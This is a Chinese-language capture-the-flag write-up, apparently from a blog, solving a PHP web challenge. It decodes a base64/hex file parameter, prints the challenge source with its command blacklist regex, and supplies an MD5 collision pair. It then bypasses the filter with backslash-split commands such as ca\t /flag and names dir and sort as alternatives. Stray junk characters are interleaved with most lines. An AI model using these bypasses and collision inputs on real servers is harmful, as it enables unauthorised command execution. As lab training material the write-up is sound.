|
|
& n* X7 \2 c- ^( c& S<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233053765-138473612.png" ></p>
# X( C* J9 [* g, j3 Y<p> </p>
" o9 d- }7 r% _' Q+ f* m- i<p> </p>
0 V! {" e( s- j5 K<p> 题目打开如下,?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=,同时查看源代码</p>2 K1 w, a/ R) k; w h# k* y
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233545495-732796719.png" ></p>8 P* i/ A5 ?0 } u& X
<p> </p>* B. x9 O( O/ d
<p> </p>
5 i, ^) _( v& K4 ?, k/ ?<p>这里有个MD5 is funny,说明这个题目大概率跟MD5有关</p> T: n S9 { }# \
<p>然后我抓包了一下,消息头里面没有什么特殊的东西,于是我尝试从url入手</p>0 Y: I, j/ B1 d
<p>首先把那个进行一次base64位解码</p>
1 J: ?. M. n: u- I6 h<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234007573-1082134416.png" ></p>
- }* N% C2 l9 Z<p> </p>
/ Q( d# o, F$ d( h4 K% `/ |<p> </p>& I4 d( E: J- g
<p> 解码一次以后还是很像base64编码,于是又解码一次</p>% G9 U+ s5 B7 d; Q2 X: ]+ r m
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234057439-916556800.png" ></p>) e, L& W& [4 g* ^
<p> </p>
' V" Q5 _! @5 o) @0 F<p> </p>$ [; [8 V. p Y) `) O
<p> 然后用hex解码一下得到了</p>2 l/ o1 N& Q6 s" ?. \, T* W3 M/ v6 c
<div class="cnblogs_Highlighter">
4 x* u8 a# u6 g, A+ z<pre class="brush:sql;gutter:true;">555.png
( m4 V# s9 F' K0 t. C</pre>
8 v+ i" v: i) w! t- {+ ~</div>
/ m0 j: k" l7 Q1 B<p> 用同样的方法把index.php进行加密</p>3 f3 D& ^; M K6 J, ?( X
<div class="cnblogs_Highlighter">1 I4 u8 Q( B- T
<pre class="brush:sql;gutter:true;">TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
7 V5 f+ h% ~( ? Z# \/ P</pre>9 _7 n: l9 H- w
</div>' h+ l1 p: H0 V, X) B# e5 ~) G3 @
<p> 然后输入到地址栏</p>
4 S7 g- O9 T9 u" x7 J- H<p> 然后查看源代码,把源代码里面的那一串base64的编码解码</p>2 ~! m, f4 U+ M4 q1 I2 E5 n, [7 A0 f
<div class="cnblogs_code">, i8 C# u: ^$ f! ?4 E
<pre><?<span style="color: rgba(0, 0, 0, 1)">php, E+ N6 o9 S5 H5 f
</span><span style="color: rgba(0, 128, 128, 1)">error_reporting</span>(<span style="color: rgba(255, 0, 255, 1)">E_ALL</span> || ~ <span style="color: rgba(255, 0, 255, 1)">E_NOTICE</span><span style="color: rgba(0, 0, 0, 1)">);
* r! y7 n# b8 L& S</span><span style="color: rgba(0, 128, 128, 1)">header</span>('content-type:text/html;charset=utf-8'<span style="color: rgba(0, 0, 0, 1)">);* Z1 X% c/ |5 K; g! t( g# y
</span><span style="color: rgba(128, 0, 128, 1)">$cmd</span> = <span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">];5 ~. ?+ [7 @+ @" ?; Z% t7 I& V
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (!<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img']) || !<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">]))
& |7 T: E8 @( J8 f </span><span style="color: rgba(0, 128, 128, 1)">header</span>('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='<span style="color: rgba(0, 0, 0, 1)">);
{2 T* I+ `. O' V4 D2 G</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = hex2bin(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img'<span style="color: rgba(0, 0, 0, 1)">])));" c% m- f2 W3 D) s# F( `
w, T7 f& o7 a+ O1 p K' z, H</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = <span style="color: rgba(0, 128, 128, 1)">preg_replace</span>("/[^a-zA-Z0-9.]+/", "", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">);
# ~ x: `" U+ _$ Z9 @; d</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/flag/i", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">)) {
+ Y+ s+ M# y; l! L8 X5 z, l </span><span style="color: rgba(0, 0, 255, 1)">echo</span> '<img src ="./ctf3.jpeg">'<span style="color: rgba(0, 0, 0, 1)">;
/ J* p% c1 m# C& m. _ </span><span style="color: rgba(0, 0, 255, 1)">die</span>("xixi~ no flag"<span style="color: rgba(0, 0, 0, 1)">);
' D. z/ Q O" H* ~. H; C} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
8 p: _9 J7 t" `" O0 T% [ </span><span style="color: rgba(128, 0, 128, 1)">$txt</span> = <span style="color: rgba(0, 128, 128, 1)">base64_encode</span>(<span style="color: rgba(0, 128, 128, 1)">file_get_contents</span>(<span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">));( Z; i+ I7 R' c
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<img src='data:image/gif;base64," . <span style="color: rgba(128, 0, 128, 1)">$txt</span> . "'></img>"<span style="color: rgba(0, 0, 0, 1)">;
# g+ D2 A* @% _8 e, P </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;$ }0 C' u3 i( {
}# B' y: f5 b! `# {7 p, ]; K! g
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">;1 u( e( }4 t/ B" E2 Y, k# ?
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;/ N- B. e {9 d5 C
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">)) {
% t; T9 ?2 p% D( {' Z3 B4 [ </span><span style="color: rgba(0, 0, 255, 1)">echo</span>("forbid ~"<span style="color: rgba(0, 0, 0, 1)">);
7 C& r0 g# d3 q0 k9 C7 Z </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;
! W5 `4 u( O* f} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
1 k- D: \& O8 f5 p </span><span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] && <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {
7 v% x1 x2 f, b9 _4 u: H </span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;
2 h3 T6 l+ R! n' @; |! I8 v9 {3 D } </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
# A7 U: p! d5 A% j: o) T </span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);/ F2 q0 s' S( d( i# O/ A
}' |: T' n) c4 v0 G$ R" K' e" L* W# w) H
}. |" n+ g/ V/ U- i3 W
+ r- ^2 H: h. W9 `
</span>?>
" v9 @5 K' _. F" b# E; h<html>
- _" n" R+ `! \, h& k8 A2 e<style><span style="color: rgba(0, 0, 0, 1)">' q, J( v1 R' M+ ?
body{: W3 m1 l0 j; m! R
background</span>:url(./bj.png) no-<span style="color: rgba(0, 0, 0, 1)">repeat center center;, r' {" o! k& N" |
background</span>-size:<span style="color: rgba(0, 0, 0, 1)">cover;0 t. S' g( {1 V( p/ \
background</span>-attachment:<span style="color: rgba(0, 0, 0, 1)">fixed;) u" C* b* F, D8 p+ b! b6 D! m, m5 U
background</span>-color:<span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">CCCCCC;</span>5 j$ H# o4 Z& ~9 t
<span style="color: rgba(0, 0, 0, 1)">}
H! V5 k; a* m. H9 a/ b</span></style>
' l1 D3 @: i+ `' J! P<body>$ t, F8 z4 L3 b0 o% ?5 D' ?: P5 Z
</body>
l# H: a( u" f, x, E M</html></pre>
$ v( b6 L+ C! x L</div>+ D! s! B+ V# _/ U l' }
<p>结合前面的推断,关键代码就在</p>
' _* k& Y' O: i: A& v1 y9 n9 R4 N<div class="cnblogs_code">; J2 A5 K5 r6 @5 W' `( u' B
<pre> <span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] && <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {
% i: h( O# o9 U) [ </span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;5 s5 p. O; F2 R
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {& y* N# e9 @ |, V
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);
# [' u& n# y9 z% ?, j R }</span></pre>
( j- [; N5 Z. F0 t" O! [* {</div>! s: ~. k# c" \
<p>这种MD5是md5强碰撞</p>9 f2 X. o3 c! Y. h& l! u! f
<div class="cnblogs_Highlighter">/ Z- v" Q; j: t: j, y+ ^# r
<pre class="brush:sql;gutter:true;">a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
0 h+ O9 ~; ]! ~- x) l</pre># c% p i$ T8 F2 ^9 C6 S O7 }
</div>
c2 o/ q( ]; C( s( a/ R+ X" a" X<div class="cnblogs_Highlighter">
1 _$ |' k1 Q, w<pre class="brush:sql;gutter:true;">b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
- i" }6 v8 a. W! V$ o, q</pre>
0 k/ X/ i* m& E$ y- ]3 w' ~+ M0 z \</div>
P M% H7 |! J# y6 \2 `<p> 只需要这样就可以把cmd里面的当成命令来处理。</p>1 f6 ^/ S; j5 J( ]5 V7 i% X
<p>于是采用payload:</p>
4 h$ N% B4 ~3 O8 i/ E( K& z" X<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211235254110-1699040750.png" ></p>- A, H1 ~ Q% U* X1 q5 y* c
<p> </p>- Z) e0 i) n1 m+ d6 v" y" r5 V
<p> 因为'\'并没有被屏蔽所以可以这么绕过</p>; R/ S+ Y, Z$ N: @! }
<p>ls和l\s在命令执行的时候结果是一样的。</p>
& ]$ P0 e6 a) g! m0 S<p>然后发现根目录里面有/flag</p>: o U" m) `5 g: l+ ?
<p>于是payload:</p>. z' T- Q+ `/ X1 E
<div class="cnblogs_Highlighter">+ P6 o$ Z, }5 F' G( L3 z
<pre class="brush:sql;gutter:true;">?cmd=ca\t%20/flag; x* {; T7 F# l: z8 Z. r) F
</pre>% j9 N6 I) H$ s# ^5 X5 Z8 _
</div>2 }6 u- D* s" b, x0 t
<p> 对于这个题目,因为他没有屏蔽sort和dir</p>3 O0 x' N: V( g1 A! ^5 ]$ h1 X
<p>所以查看也可以用dir来代替ls,cat可以用sort来代替。</p>
) A! d- G0 a& N2 V F0 n: {0 i<p> </p>
" ~% o3 {+ j2 s. X |
|